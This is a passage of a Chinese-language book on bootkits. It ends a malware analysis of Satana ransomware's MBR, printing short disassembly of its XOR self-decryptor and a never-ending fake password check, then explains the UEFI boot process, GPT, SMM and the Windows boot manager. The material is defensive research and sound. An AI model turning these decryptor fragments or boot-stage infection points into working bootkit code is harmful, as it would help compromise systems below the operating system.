系统启动后,恶意 MBR 代码通过读取 MBR 扇区末尾的解密密钥,并与密钥进行异或操作来解密自身。列表 13-10 显示了恶意 MBR 解密器代码。

seg000:0000    pushad

seg000:0002    cld

seg000:0003 ➊ mov     si, 7C00h

seg000:0006    mov     di, 600h

seg000:0009    mov     cx, 200h

seg000:000C ➋ rep movsb

seg000:000E    mov     bx, 7C2Ch

seg000:0011    sub     bx, 7C00h

seg000:0015    add     bx, 600h

seg000:0019    mov     cx, bx

seg000:001B decr_loop:

seg000:001B    mov     al, [bx]

seg000:001D ➌ xor     al, byte ptr ds:xor_key

seg000:0021    mov     [bx], al

seg000:0023    inc     bx

seg000:0024    cmp     bx, 7FBh

seg000:0028    jnz     short loc_1B

seg000:002A ➍ jmp     cx

列表 13-10:Satana 的恶意 MBR 解密器

首先,解密器初始化sidicx寄存器 ➊,以将加密的 MBR 代码复制到另一个内存位置,然后通过与字节值 ➌进行异或操作来解密复制的代码。一旦解密完成,指令 ➍将执行流转移到解密后的代码(cx中的地址)。

如果你仔细观察复制加密 MBR 代码到另一个内存位置的那一行,可能会发现一个错误:复制是通过rep movsb指令 ➋完成的,该指令将由cx寄存器指定的字节数从源缓冲区(其地址存储在ds:si中)复制到目标缓冲区(其地址由es:di寄存器指定)。然而,MBR 代码中并未初始化段寄存器dses。相反,恶意软件假设ds(数据段)寄存器的值与cs(代码段)寄存器的值完全相同(也就是说,ds:si应该转换为 cs:7c00h,这对应内存中 MBR 的地址)。然而,这并非总是正确的:ds寄存器可能包含不同的值。如果是这种情况,恶意软件会尝试从ds:si地址处复制错误的字节——这与 MBR 所在的位置完全不同。为了解决这个问题,dses寄存器需要使用cs寄存器的值 0x0000 进行初始化(因为 MBR 加载在地址 0000:7c00h,cs寄存器包含 0x0000)。

MBR 执行环境之前

CPU 从复位状态启动后执行的第一段代码不是 MBR 代码,而是执行基本系统初始化的 BIOS 代码。在执行 MBR 之前,BIOS 会初始化段寄存器 csdsesss 等的内容。由于不同平台上 BIOS 的实现有所不同,因此某些段寄存器的内容在不同平台上可能会有所不同。因此,MBR 代码必须确保段寄存器包含预期的值。

解密代码的功能非常直接:恶意软件将赎金信息从第 2 到第 5 扇区读取到内存缓冲区,如果第 7 到第 15 扇区写入了字体,Satana 会通过 INT 10h 服务加载它。然后,恶意软件通过同样的 INT 10h 服务显示赎金信息,并从键盘读取输入。Satana 的赎金信息如图 13-9 所示。

在底部,信息提示用户输入密码以解锁 MBR。然而有一个小技巧:恶意软件在输入密码后并不会真正解锁 MBR。正如在清单 13-11 中展示的密码验证程序所示,恶意软件并没有恢复原始的 MBR。

seg000:01C2 ➊ mov     si, 2800h

seg000:01C5    mov     cx, 8

seg000:01C8 ➋ call    compute_checksum

seg000:01CB    add     al, ah

seg000:01CD ➌ cmp     al, ds:2900h

seg000:01D1 infinit_loop:

seg000:01D1 ➍ jmp     short infinit_loop

清单 13-11:Satana 密码验证程序

image

图 13-9:Satana 赎金信息

compute_checksum 程序 ➋ 计算存储在地址 ds:2800h ➊ 的 8 字节字符串的校验和,并将结果存储在 ax 寄存器中。然后代码将校验和与地址 ds:2900h ➌ 处的值进行比较。然而,无论比较结果如何,代码都会在 ➍ 无限循环,这意味着从此时起,执行流不会继续,尽管恶意的 MBR 包含了用于解密原始 MBR 并在第一个扇区恢复它的代码。支付赎金解锁系统的受害者,实际上在没有系统恢复软件的情况下是无法恢复的。这清楚地提醒我们,勒索软件的受害者不应支付赎金,因为没人能保证他们能找回数据。

总结:关于 Satana 的最终思考

Satana 是一个仍在追赶现代勒索软件趋势的勒索软件程序。实施中的缺陷和大量调试信息表明,我们第一次在野外看到它时,它仍处于开发阶段。

与 Petya 相比,Satana 缺乏复杂性。尽管它从未恢复原始的 MBR,但它的 MBR 感染方式并不像 Petya 那样具有破坏性。受 Satana 影响的唯一启动组件是 MBR,这使得受害者可以通过使用 Windows 安装 DVD 修复 MBR 来恢复对系统的访问,系统安装 DVD 可以恢复系统分区上的信息,并重建一个包含有效分区表的新 MBR。

受害者还可以通过读取来自 MBR 第 1 扇区的加密 MBR,并与存储在第 6 扇区的加密密钥进行异或运算,来恢复对系统的访问。这将恢复原始的 MBR,并应写入第一个扇区,以恢复对系统的访问。然而,即使受害者通过恢复 MBR 成功恢复了对系统的访问,Satana 加密的文件内容仍然无法访问。

结论

本章涵盖了现代勒索软件的一些主要演变。对家庭用户和组织的攻击构成了恶意软件演变中的一种现代趋势,这一趋势在 2012 年木马病毒开始加密用户文件内容后,令杀毒软件行业不得不努力赶上。

尽管这种新兴的勒索软件趋势越来越流行,但开发引导程序组件需要的技能和知识与开发加密用户文件的木马病毒有所不同。Satana 引导加载程序组件中的缺陷清楚地展示了这种技能差距。

正如我们在其他恶意软件中看到的那样,恶意软件与安全软件开发之间的军备竞赛迫使勒索软件不断进化,并采用引导程序感染技术以保持隐蔽。随着越来越多的勒索软件出现,许多安全实践已经成为常规,例如备份数据——这是抵御各种威胁,尤其是勒索软件的最佳保护方法之一。

第十四章:UEFI 引导与 MBR/VBR 引导过程

Image

如我们所见,bootkit 的开发遵循了引导过程的演变。随着 Windows 7 引入内核模式代码签名策略,这使得将任意代码加载到内核中变得困难,bootkit 也因此迎来了复兴,它们通过攻击在任何签名检查应用之前的引导过程逻辑(例如,通过攻击当时无法保护的 VBR)来进行感染。同样,由于 Windows 8 中支持的 UEFI 标准正在取代像 MBR/VBR 这样的传统引导流程,它也正在成为下一个引导感染的目标。

现代 UEFI 与传统方法非常不同。传统 BIOS 与第一台兼容 PC 的计算机固件一同发展,在早期,它只是一个简单的代码片段,在初次设置时配置 PC 硬件,以便启动其他所有软件。但随着 PC 硬件复杂性的增加,需要更复杂的固件代码来进行配置,因此开发了 UEFI 标准,以统一的结构来控制不断扩展的复杂性。如今,几乎所有现代计算机系统都预计会使用 UEFI 固件进行配置;而传统的 BIOS 引导过程则越来越被简单的嵌入式系统所取代。

在引入 UEFI 标准之前,不同厂商的 BIOS 实现并没有共同的结构。这种不一致性为攻击者创造了障碍,他们被迫分别攻击每一个 BIOS 实现,但这对防御者来说也是一种挑战,因为他们没有统一的机制来保护引导过程和控制流的完整性。UEFI 标准使防御者能够创建这样的机制,它被称为 UEFI 安全引导(UEFI Secure Boot)。

部分支持 UEFI 从 Windows 7 开始,但直到 Windows 8 才引入了 UEFI 安全引导。与安全引导一同,微软继续通过 UEFI 的兼容性支持模块(CSM)支持基于 MBR 的传统引导过程,而 CSM 与安全引导不兼容,并且无法提供其完整性保证,正如稍后所讨论的那样。无论未来是否禁用通过 CSM 提供的传统支持,UEFI 显然是引导过程演变的下一步,因此,它将成为 bootkit 和引导防御共同发展的领域。

在本章中,我们将重点关注 UEFI 引导过程的细节,特别是它与传统的 MBR/VBR 引导感染方法的区别。

统一可扩展固件接口

UEFI 是一个规范(www.uefi.org),定义了操作系统与固件之间的软件接口。最初由英特尔开发,用来取代广泛存在差异的传统 BIOS 启动软件,后者仅限于 16 位模式,因此不适用于新硬件。如今,UEFI 固件在配备英特尔 CPU 的 PC 市场中占主导地位,ARM 供应商也在朝这个方向发展。如前所述,出于兼容性考虑,一些基于 UEFI 的固件包含兼容性支持模块(CSM),以支持旧版操作系统的传统 BIOS 启动过程;然而,CSM 下无法支持安全启动(Secure Boot)。

UEFI 固件类似于一个迷你操作系统,甚至拥有自己的网络栈。它包含几百万行代码,主要是 C 语言,也混合了一些汇编语言,用于平台特定的部分。因此,UEFI 固件比其传统 BIOS 前身更加复杂,提供了更多的功能。而且,与传统 BIOS 不同,它的核心部分是开源的,这一特点以及代码泄漏(例如,2013 年的 AMI 源代码泄漏)为外部漏洞研究人员提供了更多的可能性。事实上,关于 UEFI 漏洞和攻击路径的大量信息已经被公开,其中一些将在第十六章中介绍。

注意

UEFI 固件的固有复杂性是多年来报告的许多 UEFI 漏洞和攻击路径的主要原因之一。然而,源代码的可用性和 UEFI 固件实现细节的更大开放性并不是原因。源代码的可用性不应对安全性产生负面影响,事实上,它产生了相反的效果。

传统 BIOS 和 UEFI 启动过程的区别

从安全角度来看,UEFI 启动过程的主要区别在于其支持安全启动(Secure Boot)的目标:MBR/VBR 的流程逻辑被完全消除,并由 UEFI 组件完全取代。我们已经提到过安全启动,现在我们将更详细地了解它,并深入分析 UEFI 过程。

让我们首先回顾一下我们到目前为止看到的恶意操作系统启动修改示例,以及施加这些修改的启动工具包(bootkits):

  • MBR 启动代码修改(TDL4)

  • MBR 分区表修改(Olmasco)

  • VBR BIOS 参数块(Gapz)

  • IPL 启动代码修改(Rovnix)

从这份列表中,我们可以看到,感染启动过程的技术都依赖于违反加载的下一个阶段的完整性。UEFI 安全启动旨在通过建立一个信任链来改变这一模式,通过该链,流中每个阶段的完整性在该阶段被加载并控制之前都会得到验证。

启动过程流

基于 MBR 的传统 BIOS 的任务仅仅是应用必要的硬件配置,然后将控制权传递给启动代码的每个后续阶段——从启动代码到 MBR,再到 VBR,最后到操作系统引导加载程序(例如,在 Windows 系统中为bootmgrwinload.exe);其余的流程逻辑超出了它的职责范围。

在 UEFI 中的启动过程有显著不同。MBR 和 VBR 不再存在;取而代之的是 UEFI 自身的一段启动代码,负责加载bootmgr

磁盘分区:MBR 与 GPT

UEFI 还与传统 BIOS 在使用的分区表类型上有所不同。与使用 MBR 式分区表的传统 BIOS 不同,UEFI 支持GUID 分区表(GPT)。GPT 与 MBR 有很大不同。MBR 表仅支持四个主分区或扩展分区插槽(如果需要,可以在扩展分区中有多个逻辑分区),而 GPT 支持更多的分区,每个分区都有一个唯一的 16 字节标识符——全球唯一标识符(GUID)。总体而言,MBR 的分区规则比 GPT 更复杂;GPT 方式允许更大的分区大小,并且具有扁平化的表结构,代价是使用 GUID 标签而不是小整数来标识分区。此扁平结构简化了 UEFI 下的某些分区管理。

为了支持 UEFI 启动过程,新的 GPT 分区方案指定了一个专用分区,用于加载 UEFI 操作系统引导加载程序(在传统的 MBR 表中,这个角色是由设置在主分区上的“活动”位标志来承担的)。这个特殊分区被称为EFI 系统分区,并且采用 FAT32 文件系统格式(尽管 FAT12 和 FAT16 也是可能的)。该分区内文件系统中引导加载程序的路径在一个专用的非易失性随机存取存储器(NVRAM)变量中指定,也称为 UEFI 变量。NVRAM 是一个小型内存存储模块,位于 PC 主板上,用于存储 BIOS 和操作系统配置设置。

对于微软 Windows,UEFI 系统中的引导加载程序路径看起来像是\EFI\Microsoft\Boot\bootmgfw.efi。这个模块的目的是定位操作系统内核加载程序——对于支持 UEFI 的现代 Windows 版本为winload.efi——并将控制权传递给它。winload.efi的功能与winload.exe本质相同:加载并初始化操作系统内核镜像。

图 14-1 展示了传统 BIOS 与 UEFI 之间的启动过程流图,跳过了 MBR 和 VBR 步骤。

image

图 14-1:传统 BIOS 与 UEFI 系统启动流程的差异

正如您所看到的,基于 UEFI 的系统在将控制权转交给操作系统启动加载程序之前,固件中执行的工作比遗留 BIOS 要多得多。没有像 MBR/VBR 启动代码这样的中间阶段;启动过程完全由 UEFI 固件控制,而 BIOS 固件只负责平台初始化,将其余部分交给操作系统加载程序(bootmgrwinload.exe)处理。

其他差异

UEFI 引入的另一个巨大变化是几乎所有的代码都在保护模式下运行,只有在 CPU 启动或重置时,给定的少量初始代码才会由 CPU 控制。保护模式提供了执行 32 位或 64 位代码的支持(尽管它也允许模拟其他不被现代启动逻辑使用的遗留模式)。相比之下,遗留启动逻辑大部分代码都在 16 位模式下执行,直到它将控制权转交给操作系统加载程序。

另一个 UEFI 固件与遗留 BIOS 之间的区别是,大多数 UEFI 固件都是用 C 语言编写的(甚至可以用 C++ 编译器编译,正如某些厂商所做的那样),只有一小部分是用汇编语言编写的。这与遗留 BIOS 固件完全采用汇编语言实现相比,提供了更好的代码质量。

遗留 BIOS 和 UEFI 固件之间的更多差异见 表 14-1。

表 14-1: 遗留 BIOS 和 UEFI 固件比较

遗留 BIOS UEFI 固件
架构 未指定固件开发过程;所有 BIOS 厂商独立支持各自的代码库 统一的固件开发规范和英特尔参考代码 (EDKI/EDKII)
实现方式 主要是汇编语言 C/C++
内存模型 16 位实模式 32 位/64 位保护模式
启动代码 MBR 和 VBR 无 (固件控制启动过程)
分区方案 MBR 分区表 GUID 分区表 (GPT)
磁盘 I/O 系统中断 UEFI 服务
启动加载器 bootmgrwinload.exe bootmgfw.efiwinload.efi
操作系统交互 BIOS 中断 UEFI 服务
启动配置 CMOS 内存,无 NVRAM 变量的概念 UEFI NVRAM 变量存储

在深入了解 UEFI 启动过程及其操作系统启动加载程序之前,我们将仔细查看 GPT 相关细节。理解 MBR 和 GPT 分区方案之间的差异对于学习 UEFI 启动过程至关重要。

GUID 分区表详情

如果你用十六进制编辑器查看一个格式化为 GPT 的 Windows 主硬盘,你会发现在前两个扇区中(1 个扇区 = 512 字节)没有 MBR 或 VBR 启动代码。传统 BIOS 中本应包含 MBR 代码的空间几乎完全为零化。相反,在第二个扇区的开始,你可以看到偏移量 0x200 处有一个EFI PART签名(见图 14-2),紧跟着熟悉的55 AA MBR 结束标志。这是 GPT 头部的 EFI 分区表签名,标识其为 GPT。

image

图 14-2:从 \.\PhysicalDrive0 导出的 GUID 分区表签名*

然而,MBR 分区表结构并没有完全消失。为了与传统的启动过程和工具(如 GPT 之前的低级磁盘编辑器)兼容,GPT 在启动时会模拟旧的 MBR 表。这个模拟的 MBR 分区表现在只包含一个条目,表示整个 GPT 磁盘,见图 14-3。这种 MBR 方案形式被称为保护性 MBR

image

图 14-3:010 编辑器中通过Drive.bt模板解析的传统 MBR 头部

这个保护性 MBR 通过将整个磁盘空间标记为由单一分区占用,防止了传统软件(如磁盘工具)意外破坏 GUID 分区;不支持 GPT 的传统工具不会误将其 GPT 分区的部分当作空闲空间。尽管它只是一个存根,保护性 MBR 的格式与普通 MBR 相同。UEFI 固件会识别这个保护性 MBR,并不会尝试从中执行任何代码。

与传统 BIOS 启动过程的主要区别在于,负责系统早期启动阶段的所有代码现在都被封装在 UEFI 固件中,存储在闪存芯片中,而不是磁盘上。这意味着感染或修改磁盘上的 MBR 或 VBR 的 MBR 感染方法(例如 TDL4 和 Olmasco 病毒,分别在第七章和第十章中讨论)将不会对基于 GPT 的系统启动流程产生影响,即使没有启用安全启动。

检查 GPT 支持

你可以通过使用微软的 PowerShell 命令来检查你的 Windows 系统是否支持 GPT。具体来说,Get-Disk命令(见清单 14-1)将返回一个表格,最后一列名为“Partition Style”,显示支持的分区表类型。如果是 GPT 兼容的,你将看到 GPT 列在 Partition Style 这一列中;否则,看到 MBR。

PS C:\> Get-Disk

Number Friendly Name  Operational Status  Total Size  Partition Style

------ -------------  ------------------  ----------  ---------------

0      Microsoft      Online                   127GB  GPT

       Virtual Disk

清单 14-1:Get-Disk的输出

表 14-2 列出了 GPT 头部中各个值的描述。

表 14-2: GPT 头部

名称 偏移量 长度
签名“EFI PART” 0x00 8 字节
GPT 版本的修订号 0x08 4 字节
头部大小 0x0C 4 字节
头部的 CRC32 0x10 4 字节
保留 0x14 4 字节
当前 LBA(逻辑块寻址) 0x18 8 字节
备份 LBA 0x20 8 字节
分区的第一个可用 LBA 0x28 8 字节
最后一个可用 LBA 0x30 8 字节
磁盘 GUID 0x38 16 字节
分区条目数组的起始 LBA 0x48 8 字节
分区条目数组中的条目数 0x50 4 字节
单个分区条目的大小 0x54 4 字节
分区数组的 CRC32 0x58 4 字节
保留 0x5C *

如你所见,GPT 头仅包含常量字段,而不是代码。从取证的角度来看,这些字段中最重要的是 分区条目数组的起始 LBA分区条目数组中的条目数。这些条目分别定义了硬盘上分区表的位置和大小。

GPT 头中的另一个有趣的字段是 备份 LBA,它提供了 GPT 头的备份副本的位置。这使你能够在主 GPT 头损坏时恢复主 GPT 头。我们在第十三章中提到过备份 GPT 头,当时我们讨论了 Petya 勒索软件,它加密了主 GPT 头和备份 GPT 头,从而使得系统恢复变得更加困难。

如图 14-4 所示,分区表中的每个条目提供关于硬盘分区的属性和位置的信息。

image

图 14-4:GUID 分区表

两个 64 位字段 第一个 LBA最后一个 LBA 分别定义了分区的第一个和最后一个扇区的地址。分区类型 GUID 字段包含一个 GUID 值,标识分区的类型。例如,在前面提到的 “磁盘分区:MBR vs. GPT” 中,EFI 系统分区的类型是 C12A7328-F81F-11D2-BA4B-00A0C93EC93B,它位于第 235 页。

GPT 方案中没有任何可执行代码,这对引导病毒感染构成了问题:恶意软件开发者如何在 GPT 方案中将引导过程的控制权转交给他们的恶意代码?一种想法是在 EFI 引导加载程序将控制权转交给操作系统内核之前修改它们。然而,在我们深入探讨这个问题之前,我们将首先了解 UEFI 固件架构和引导过程的基础知识。

使用 SweetScape 解析 GPT 驱动器

要解析一个 GPT 驱动器的字段,可以在实机或转储的分区中使用共享软件 SweetScape 010 Editor(* www.sweetscape.com *),并利用 Benjamin Vernoux 提供的 Drive.bt 模板,该模板可以在 SweetScape 网站的 Templates 存储库的下载区找到。010 Editor 拥有一个强大的基于模板的解析引擎,基于 C 类结构(见图 14-3)。

UEFI 固件的工作原理

在探讨了 GPT 分区方案之后,我们现在了解了操作系统引导加载程序的位置以及 UEFI 固件如何在硬盘上找到它。接下来,让我们看看 UEFI 固件是如何加载和执行操作系统加载器的。我们将提供有关 UEFI 引导过程各个阶段的背景信息,以便为执行加载器做好环境准备。

UEFI 固件通过解释 GPT 表中的上述数据结构来定位操作系统加载器,存储在主板的闪存芯片中(也称为 SPI flash,其中“SPI”指的是将芯片与其他芯片组连接的总线接口)。当系统启动时,芯片组逻辑将闪存芯片的内存映射到特定的 RAM 区域,该区域的起始和结束地址在硬件芯片组中进行配置,并依赖于特定 CPU 的配置。一旦映射的 SPI 闪存芯片代码在开机时获得控制,它会初始化硬件并加载各种驱动程序、操作系统引导管理器、操作系统加载器,最后是操作系统内核。此过程的步骤可以总结如下:

  1. UEFI 固件执行 UEFI 平台初始化,执行 CPU 和芯片组初始化,并加载 UEFI 平台模块(也称为 UEFI 驱动程序;这些与下一步加载的设备特定代码不同)。

  2. UEFI 引导管理器列举外部总线(如 PCI 总线)上的设备,加载 UEFI 设备驱动程序,然后加载引导应用程序。

  3. Windows 引导管理器(bootmgfw.efi)加载 Windows 引导加载程序。

  4. Windows 引导加载程序(winload.efi)加载 Windows 操作系统。

步骤 1 和 2 所需的代码驻留在 SPI 闪存中;步骤 3 和 4 的代码从硬盘上的特殊 UEFI 分区的文件系统中提取,一旦步骤 1 和 2 使得硬盘可读。UEFI 规范进一步将固件划分为不同部分,负责硬件初始化或引导过程中的活动,如 图 14-5 所示。

操作系统加载器本质上依赖于 UEFI 固件提供的 EFI 引导服务和 EFI 运行时服务来引导和管理系统。正如我们将在 “操作系统加载器内部” 的 第 245 页 中解释的那样,操作系统加载器依赖这些服务来建立一个能够加载操作系统内核的环境。一旦操作系统加载器从 UEFI 固件接管了引导流程,引导服务就被移除,并且操作系统将无法再访问它们。然而,运行时服务在操作系统运行时仍然可用,并提供一个接口,用于读取和写入 NVRAM UEFI 变量、执行固件更新(通过 Capsule Update)以及重新启动或关闭系统。

image

图 14-5:UEFI 框架概览

固件 Capsule 更新

Capsule Update 是一种用于安全更新 UEFI 固件的技术。操作系统将 Capsule 固件更新镜像加载到内存中,并通过运行时服务向 UEFI 固件发出信号,表示 Capsule 已经存在。结果,UEFI 固件在下次启动时重启系统并处理更新 Capsule。Capsule Update 力求标准化并提高 UEFI 固件更新过程的安全性。我们将在第十五章中深入讨论。

UEFI 规范

与传统的 BIOS 启动方式相比,UEFI 规范涵盖了从硬件初始化开始的每个步骤。在此规范之前,硬件厂商在固件开发过程中有更多自由,但这种自由也带来了混乱,因此也存在漏洞。该规范概述了启动过程的四个主要连续阶段,每个阶段都有自己的职责:

安全 (SEC) 使用 CPU 缓存初始化临时内存,并为 PEI 阶段定位加载程序。在 SEC 阶段执行的代码来自 SPI 闪存内存。

预 EFI 初始化 (PEI) 配置内存控制器,初始化芯片组,并处理 S3 恢复过程。在此阶段执行的代码在临时内存中运行,直到内存控制器初始化完成。一旦完成,PEI 代码将从永久内存中执行。

驱动执行环境 (DXE) 初始化系统管理模式 (SMM) 和 DXE 服务(核心、调度器、驱动程序等),以及启动和运行时服务。

启动设备选择 (BDS) 发现操作系统可以从中启动的硬件设备,例如,通过枚举可能包含 UEFI 兼容启动加载程序(如操作系统加载程序)的 PCI 总线上的外部设备。

除了操作系统加载程序(位于磁盘文件系统中,并通过基于 SPI 闪存的 DXE/BDS 阶段代码通过存储在 NVRAM UEFI 变量中的文件系统路径找到)外,启动过程中使用的所有组件都位于 SPI 闪存中。

SMM 和 DXE 初始化阶段是植入 rootkit 的最有趣的领域之一。SMM 处于环 –2,是最特权的系统模式——比环 –1 的虚拟机监控器更具特权。(有关 SMM 和环特权级别的更多信息,请参见 “系统管理模式”框。)从这个模式下,恶意代码可以完全控制系统。

类似地,DXE 驱动程序为实现启动病毒功能提供了另一个强大的手段。一个典型的 DXE 基础恶意软件例子是 Hacking Team 的固件 rootkit 实现,详见第十五章。

系统管理模式

系统管理模式(SMM)是 x86 CPU 的一种特殊模式,以特殊的更高“环 –2”权限执行(即“负二”,比“环 –1”更低且更强大,而“环 0”则是历史上最可信的权限——幸运的是,我们有无限多小于零的整数可用!)。SMM 最初在 Intel 386 处理器中作为一种帮助电源管理的手段引入,但在现代 CPU 中,SMM 的复杂性和重要性大大增加。现在,SMM 已经成为固件的一个组成部分,负责启动过程中的所有初始化和内存分离设置。SMM 的代码在一个独立的地址空间中执行,该地址空间应与正常操作系统地址空间布局(包括操作系统内核空间)隔离。在第十五章和第十六章中,我们将更多地探讨 UEFI 根套件如何利用 SMM。

现在,我们将探讨最后阶段以及操作系统内核如何获得控制权的过程。在下一章中,我们将更详细地讨论 DXE 和 SMM。

操作系统加载程序内部

现在,存储在 SPI 中的 UEFI 固件代码已经完成它的工作,它将控制权交给存储在磁盘上的操作系统加载程序。加载程序代码也是 64 位或 32 位(取决于操作系统版本);MBR 或 VBR 的 16 位加载程序代码在启动过程中没有位置。

操作系统加载程序由存储在 EFI 系统分区中的多个文件组成,包括模块bootmgfw.efiwinload.efi。第一个被称为Windows 启动管理器,第二个被称为Windows 启动加载程序。这些模块的位置也由 NVRAM 变量指定。特别地,包含 ESP 的驱动器的 UEFI 路径(由 UEFI 标准如何枚举主板的端口和总线定义)存储在启动顺序 NVRAM 变量BOOT_ORDER中(用户通常可以通过 BIOS 配置更改);ESP 文件系统中的路径存储在另一个变量BOOT中(通常位于\EFI\Microsoft\Boot\)。

访问 Windows 启动管理器

UEFI 固件启动管理器会查阅 NVRAM UEFI 变量以查找 ESP,然后在 Windows 的情况下,查找其中的操作系统特定启动管理器bootmgfw.efi。启动管理器随后在内存中创建此文件的运行时镜像。为此,它依赖 UEFI 固件读取启动硬盘并解析其文件系统。在其他操作系统下,NVRAM 变量会包含指向该操作系统加载程序的路径;例如,对于 Linux,它指向 GRUB 启动加载程序(grub.efi)。

一旦bootmgfw.efi被加载,UEFI 固件启动管理器会跳转到bootmgfw.efi的入口点EfiEntry。这是操作系统启动过程的开始,此时存储在 SPI 闪存中的固件将控制权交给硬盘上的代码。

建立执行环境

EfiEntry条目,其原型在列表 14-2 中展示,调用 Windows 启动管理器bootmgfw.efi,并用于配置 Windows 引导加载程序winload.efi的 UEFI 固件回调,后者在调用bootmgfw.efi后紧接着被调用。这些回调将winload.efi代码与 UEFI 固件运行时服务连接,这些服务用于外设操作,比如读取硬盘。这些服务将继续被 Windows 使用,即使它已经完全加载,通过硬件抽象层(HAL)包装器,稍后我们将看到它们的设置。

EFI_STATUS EfiEntry (

➊ EFI_HANDLE ImageHandle,       // UEFI image handle for loaded application

➋ EFI_SYSTEM_TABLE *SystemTable // Pointer to UEFI system table

);

列表 14-2:EfiEntry例程的原型(EFI_IMAGE_ENTRY_POINT

EfiEntry的第一个参数➊指向负责继续启动过程并调用winload.efibootmgfw.efi模块。第二个参数➋包含指向 UEFI 配置表(EFI_SYSTEM_TABLE)的指针,后者是访问大部分 EFI 环境服务配置数据的关键(见图 14-6)。

image

图 14-6:EFI_SYSTEM_TABLE的高级结构

winload.efi加载程序使用 UEFI 服务加载操作系统内核及其启动设备驱动栈,并初始化内核空间中的EFI_RUNTIME_TABLE,以便将来内核通过 HAL 库代码模块(hal.dll)访问这些数据。HAL 消耗EFI_SYSTEM_TABLE并导出包装 UEFI 运行时函数的功能给内核的其他部分。内核调用这些函数执行任务,如读取 NVRAM 变量和处理通过 UEFI 固件传递的所谓封装更新。

请注意在每个后续层中创建的多重封装模式,这些封装在启动的最早阶段配置了 UEFI 硬件特定代码。你永远不知道操作系统系统调用可能深入到 UEFI 的哪个层次!

HAL 模块hal.dll使用的EFI_RUNTIME_SERVICES结构在图 14-7 中展示。

image

图 14-7:EFI_RUNTIME_SERVICES hal.dll中的表现

HalEfiRuntimeServiceTable持有指向EFI_RUNTIME_SERVICES的指针,而EFI_RUNTIME_SERVICES包含服务例程入口点的地址,这些例程执行的操作包括获取或设置 NVRAM 变量、执行封装更新等。

在接下来的章节中,我们将分析这些结构在固件漏洞、利用和根工具的背景下的表现。现在,我们只想强调EFI_SYSTEM_TABLE及其内部的(尤其是)EFI_RUNTIME_SERVICES是找到负责访问 UEFI 配置的结构的关键,而且其中的一些信息可以从操作系统的内核模式访问。

图 14-8 显示了反汇编的 EfiEntry 例程。它的第一个指令之一触发了对函数 EfiInitCreateInputParametersEx() 的调用,该函数将 EfiEntry 参数转换为 bootmgfw.efi 所期望的格式。在 EfiInitCreateInputParametersEx() 内部,一个名为 EfiInitpCreateApplicationEntry() 的例程会在启动配置数据(BCD)中创建 bootmgfw.efi 的条目,BCD 是 Windows 启动加载程序的配置参数的二进制存储。在 EfiInitCreateInputParametersEx() 返回后,BmMain 例程(如 图 14-8 所示)接管了控制。请注意,此时,为了正确访问硬件设备操作,包括任何硬盘输入输出和初始化内存,Windows 启动管理器必须仅使用 EFI 服务,因为主要的 Windows 驱动程序堆栈尚未加载,因此无法使用。

image

图 14-8:反汇编的 EfiEntry 例程

读取启动配置数据

下一步,BmMain 调用以下例程:

BmFwInitializeBootDirectoryPath 例程用于初始化启动应用程序的路径(\EFI\Microsoft\Boot

BmOpenDataStore 例程用于通过 UEFI 服务(磁盘 I/O)挂载并读取 BCD 数据库文件(\EFI\Microsoft\Boot\BCD

BmpLaunchBootEntry ImgArchEfiStartBootApplication 例程用于执行启动应用程序(winload.efi

清单 14-3 显示了通过标准命令行工具 bcdedit.exe 输出的启动配置数据,该工具包含在所有近期版本的 Microsoft Windows 中。Windows 启动管理器和 Windows 启动加载程序模块的路径分别用 ➊ 和 ➋ 标记。

   PS C:\WINDOWS\system32> bcdedit

   Windows Boot Manager

   --------------------

   identifier              {bootmgr}

   device                  partition=\Device\HarddiskVolume2

➊ path                    \EFI\Microsoft\Boot\bootmgfw.efi

   description             Windows Boot Manager

   locale                  en-US

   inherit                 {globalsettings}

   default                 {current}

   resumeobject            {c68c4e64-6159-11e8-8512-a4c49440f67c}

   displayorder            {current}

   toolsdisplayorder       {memdiag}

   timeout                 30

   Windows Boot Loader

   -------------------

   identifier              {current}

   device                  partition=C:

➋ path                    \WINDOWS\system32\winload.efi

   description             Windows 10

   locale                  en-US

   inherit                 {bootloadersettings}

   recoverysequence        {f5b4c688-6159-11e8-81bd-8aecff577cb6}

   displaymessageoverride  Recovery

   recoveryenabled         Yes

   isolatedcontext         Yes

   allowedinmemorysettings 0x15000075

   osdevice                partition=C:

   systemroot              \WINDOWS

   resumeobject            {c68c4e64-6159-11e8-8512-a4c49440f67c}

   nx                      OptIn

   bootmenupolicy          Standard

清单 14-3:bcdedit 控制台命令的输出

Windows 启动管理器(bootmgfw.efi)还负责启动策略验证,以及初始化代码完整性和安全启动组件,这些将在后续章节中介绍。

在启动过程的下一个阶段,bootmgfw.efi 加载并验证 Windows 启动加载程序(winload.efi)。在开始加载 winload.efi 之前,Windows 启动管理器初始化内存映射以过渡到受保护的内存模式,该模式提供虚拟内存和分页。重要的是,它通过 UEFI 运行时服务而非直接方式执行此设置。这为操作系统虚拟内存数据结构(如 GDT)创建了一个强大的抽象层,而这些结构以前是通过传统的 BIOS 在 16 位汇编代码中处理的。

将控制权转移给 Winload

在 Windows 引导管理器的最后阶段,BmpLaunchBootEntry() 例程加载并执行 winload.efi,即 Windows 引导加载程序。图 14-9 展示了从 EfiEntry()BmpLaunchBootEntry() 的完整调用图,如 Hex-Rays IDA Pro 反汇编器通过 IDAPathFinder 脚本生成的图形(* www.devttys0.com/tools/ *)。

image

图 14-9:从 EfiEntry()BmpLaunchBootEntry() 的调用图流程

BmpLaunchBootEntry() 函数之前的控制流根据来自 BCD 存储的值选择正确的引导项。如果启用了完全磁盘加密(BitLocker),引导管理器会在将控制权转交给引导加载程序之前解密系统分区。BmpLaunchBootEntry() 函数后跟 BmpTransferExecution() 会检查引导选项,并将执行权传递给 BlImgLoadBootApplication(),该函数接着调用 ImgArchEfiStartBootApplication()ImgArchEfiStartBootApplication() 例程负责初始化 winload.efi 的受保护内存模式。之后,控制权被传递给 Archpx64TransferTo64BitApplicationAsm() 函数,该函数最终准备好启动 winload.efi(图 14-10)。

image

图 14-10:从 BmpLaunchBootEntry()Archpx64TransferTo64BitApplicationAsm() 的调用图流程

在这一关键点之后,所有执行流都转交给 winload.efi,它负责加载和初始化 Windows 内核。在此之前,执行发生在 UEFI 环境中,依赖引导服务,并且操作在平坦的物理内存模型下。

注意

如果禁用安全启动,恶意代码可以在引导过程的这一阶段对内存进行任何修改,因为内核模式模块尚未受到 Windows 内核补丁保护(KPP)技术(也称为 PatchGuard)的保护。PatchGuard 只有在引导过程的后续步骤中才会初始化。一旦 PatchGuard 被激活,它将使恶意修改内核模块变得更加困难。

Windows 引导加载程序

Windows 引导加载程序执行以下配置操作:

